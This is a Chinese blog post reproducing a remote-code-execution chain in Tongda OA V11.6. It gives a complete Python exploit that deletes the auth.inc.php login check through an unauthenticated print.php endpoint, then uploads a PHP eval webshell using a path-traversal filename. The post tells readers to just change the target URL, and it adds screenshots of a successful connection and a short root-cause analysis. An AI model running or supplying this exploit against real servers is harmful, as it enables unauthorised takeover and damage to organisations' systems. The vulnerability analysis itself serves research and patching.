飞道的博客

【漏洞日记】深X服还没完,通达OA又搞RCE漏洞【OA V11.6】

531人阅读  评论(0)

当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 通达OA V11.6 源码下载与安装

0x02 前言

0x03 复现漏洞

EXP 脚本

0x04 通达OA V11.5和V11.7 版本无法复现该漏洞过程

0x05 漏洞分析


本次漏洞复现,只测试了三个版本:

通达 OA V11.7 (最新)

通达 OA V11.6

通达 OA V11.5

修复建议:升级至最新版本

自己公司或去客户现场做测试的话,可以让客户去 webroot\inc 下将auth.inc.php备份一下,等利用成功GetShell 后,再将该文件放进去
2017版本的也可以被利用(版本自测),2019版本的都不行,2020版的,我测试V11.6可以复现

解密 auth.inc.php 出来的代码

zend54 解密

                                      


   
  1. <?php
  2. include_once 'inc/session.php';
  3. $PHPSESSID = isset($_GET[ 'PHPSESSID']) ? $_GET[ 'PHPSESSID'] : ( isset($_POST[ 'PHPSESSID']) ? $_POST[ 'PHPSESSID'] : '');
  4. if (preg_match( '/^[a-z0-9]{20,32}$/i', $PHPSESSID)) {
  5. session_id($PHPSESSID);
  6. }
  7. if (stristr($PHP_SELF, 'export') || stristr($PHP_SELF, 'excel') || stristr($PHP_SELF, 'word') || stristr($PHP_SELF, 'attach.php') || stristr($PHP_SELF, 'download.php') || stristr($PHP_SELF, 'down.php')) {
  8. session_cache_limiter( 'private, must-revalidate');
  9. }
  10. session_start();
  11. ob_start();
  12. include_once 'inc/utility.php';
  13. $SCRIPT_NAME = $_SERVER[ 'SCRIPT_NAME'];
  14. if ( 0 < MYOA_OFFLINE_TIME_MIN) {
  15. $LAST_OPERATION_TIME = $_COOKIE[ 'LAST_OPERATION_TIME'];
  16. if (!stristr($SCRIPT_NAME, '/general/ipanel/') && !stristr($SCRIPT_NAME, '/general/task_center/') && !stristr($SCRIPT_NAME, '/general/mytable/') && !stristr($SCRIPT_NAME, '/general/status_bar/') && !stristr($SCRIPT_NAME, '/general/topbar.php') && !stristr($SCRIPT_NAME, '/inc/')) {
  17. setcookie( 'LAST_OPERATION_TIME', time(), 0, '/');
  18. }
  19. if ($LAST_OPERATION_TIME != '' && MYOA_OFFLINE_TIME_MIN * 60 < time() - $LAST_OPERATION_TIME) {
  20. $sessionid = session_id();
  21. del_my_online_status($sessionid);
  22. clear_online_status();
  23. setcookie( 'LAST_OPERATION_TIME', '', 1, '/');
  24. session_unset();
  25. session_destroy();
  26. }
  27. }
  28. if (! isset($_SESSION[ 'LOGIN_USER_ID']) || $_SESSION[ 'LOGIN_USER_ID'] == '' || ! isset($_SESSION[ 'LOGIN_UID']) || $_SESSION[ 'LOGIN_UID'] == '') {
  29. sleep( 1);
  30. if ( isset($_SESSION[ 'SHARE_ID']) && $_SESSION[ 'SHARE_ID'] != '') {
  31. $query = 'select module,module_id from share where share_id=\'' . $_SESSION[ 'SHARE_ID'] . '\'';
  32. $cursor = exequery(TD::conn(), $query);
  33. if ($ROW = mysql_fetch_array($cursor)) {
  34. $module = $ROW[ 'module'];
  35. $module_id = $ROW[ 'module_id'];
  36. if (! isset($_SESSION[ 'SHARE_ALLOW_URL'][$module]) || isset($_SESSION[ 'SHARE_ALLOW_URL'][$module]) && $_SESSION[ 'SHARE_ALLOW_URL'][$module] != $module_id)

如果结构没有大变动的话,应该都是可以GetShell成功后,将复制的备份文件丢进去。

PS:

该漏洞影响很大,如果被成功利用后会删除OA所需要的php文件来绕过验证,会对网站造成影响,建议渗透测试业务时,千万要让客户做系统备份或数据备份,很容易出事... ...

其实也不必要那么麻烦,我们可以这样,那个OA被删除的文件,比如说我做渗透的时候,自己本地有一个那个文件,getshell后在本地的上传过去给他恢复,这样不就可行?

说干就干,自己提前备份文件后,再次执行EXP 删除auth.inc.php 后GetShell 成功,此时登录网站OA系统的样式已损坏,但只要把我们之前备份的样式auth.inc.php 文件,即可恢复。

请勿用作犯罪使用,网络不是法外之地,请珍惜生命,勿触犯法律... ...

你任何的动作,别人都知晓,人外有人,天外有天,且行且珍惜... ...

0x01 通达OA V11.6 源码下载与安装

通达OA V11.6 下载地址:http://www.kxdw.com/soft/23114.html

步骤1:运行安装包傻瓜式安装

                                       

步骤2:运行安装包傻瓜式安装

             

步骤3:运行安装包傻瓜式安装

                               

步骤4:成功安装

 

0x02 前言

账号为:admin 密码为:空

先登录看看,密码为空,直接登录,样式是这样的

 

0x03 复现漏洞

EXP 脚本

EXP:直接打,直接写到网站根目录下,文件名为:_agan.php,菜刀链接密码为:agan


  
  1. import requests
  2. target= "http://192.168.159.137:8080/"
  3. payload= "<?php eval($_POST['agan']);?>"
  4. print( "[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
  5. input( "Press enter to continue")
  6. print( "[*]Deleting auth.inc.php....")
  7. url=target+ "/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
  8. requests.get(url=url)
  9. print( "[*]Checking if file deleted...")
  10. url=target+ "/inc/auth.inc.php"
  11. page=requests.get(url=url).text
  12. if 'No input file specified.' not in page:
  13. print( "[-]Failed to deleted auth.inc.php")
  14. exit( -1)
  15. print( "[+]Successfully deleted auth.inc.php!")
  16. print( "[*]Uploading payload...")
  17. url=target+ "/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
  18. files = { 'FILE1': ( 'agan.php', payload)}
  19. requests.post(url=url,files=files)
  20. url=target+ "/_agan.php"
  21. page=requests.get(url=url).text
  22. if 'No input file specified.' not in page:
  23. print( "[+]Filed Uploaded Successfully")
  24. print( "[+]URL:",url)
  25. else:
  26. print( "[-]Failed to upload file")

直接利用上述代码即可,改一下你的URL地址即可

成功利用

可以看到成功写入,先访问这个目录看看,是真实存在的

链接地址:http://192.168.159.137:8080/_agan.php

再去服务端看看网站源码,是否也存在?

       明显是存在的,也写进去了


                                                                               连接看看

                                     

                                                                            成功连接

此时虽然拿到WebShell后,但OA 的文件已损坏,再次登录是这样的,猜测是通过删除auth.inc.php文件来写入WebShell,导致引用的样式文件损坏

是不是以为这样,就完全没事呢?

其实,我们可以这样,那个OA被删除的文件,比如说我做渗透的时候,自己本地有一个那个文件,getshell后在本地的上传过去给他恢复,这样不就可行?

说干就干,自己提前备份文件后,再次执行EXP 删除auth.inc.php 后GetShell 成功,此时登录网站OA系统的样式已损坏,但只要把我们之前备份的样式auth.inc.php 文件,即可恢复。

 

0x04 通达OA V11.5和V11.7 版本无法复现该漏洞过程

 

用之前的脚本再试试

V11.5和V11.7 服务端网站根目录下没写进去,看来没利用成功。

 

0x05 漏洞分析

webroot/inc/auth.inc.php 解密一下文件

解密网址:https://dezend.qiling.org/free

/module/appbuilder/assets/print.php文件 (未授权访问导致产生文件删除漏洞)

这里可以看到 页面获取 guid参数的值
使用file_exists函数判断文件是否存在 并未进行校验 就执行unlink删除文件

exp中访问/general/data_center/utils/upload.php文件上传

调用action=upload上传文件
传入不存在的filetype 进入漏洞点

根据exp构造了上传文件名和内容 {‘FILE1’: (‘z1feiyu.php’, payload)}
同时利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
也就是说在这里构造访问上传后
file_exists判断存在将文件加_拼接目录移动到根目录下并删除原文件

总体的根据exp分析 首先存在了任意文件删除漏洞
然后删除登陆校验文件,进而导致任意文件上传漏洞
组合之后也就是现在的rce漏洞

 

参考链接:

               https://mp.weixin.qq.com/s/5ObQlLc3XQY3oXXHJKieyA

               https://mp.weixin.qq.com/s/cr4Iqq3RfxnOzTqZWzGSAQ


虽然我们生活在阴沟里,但依然有人仰望星空!


 


转载:https://blog.csdn.net/God_XiangYu/article/details/108091470
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场